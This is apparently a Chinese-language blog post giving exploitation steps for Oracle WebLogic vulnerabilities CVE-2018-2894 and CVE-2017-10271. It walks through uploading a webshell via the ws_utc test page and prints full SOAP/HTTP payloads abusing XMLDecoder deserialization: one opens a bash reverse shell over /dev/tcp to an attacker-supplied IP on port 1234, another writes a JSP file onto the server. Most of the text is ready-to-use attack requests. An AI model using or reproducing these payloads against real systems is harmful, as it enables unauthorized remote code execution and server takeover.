Weblogic漏洞利用

Weblogic漏洞

Weblogic任意文件上传(CVE-2018-2894)

受影响版本

weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。

漏洞存在前提
后台base_domain设置中启用web服务测试页

利用漏洞方法

  1. 访问
http://xxx.com/ws_utc/config.do
  1. 设置Work Home Dir为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,然后提交。

  1. 点击"安全",添加,弹出登录框,点击“浏览”上传webshell并抓包

  2. 找到响应包中的时间戳

访问http://xxx.com/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell

Weblogic反序列化 (CVE-2017-10271)

受影响版本

10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
  1. 初步漏洞判断
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

  1. 反弹shell (发送数据xml时,反弹shell语句,要进行编码。)
    payload:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.74.154:7001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/hAccept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/接收shell的ip/1234 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
  1. 写入shell
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

访问写入文件:

WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)

https://blog.csdn.net/csacs/article/details/87122472

posted @ 2020-05-02 15:45  Zane_S  阅读(3769)  评论(0编辑  收藏  举报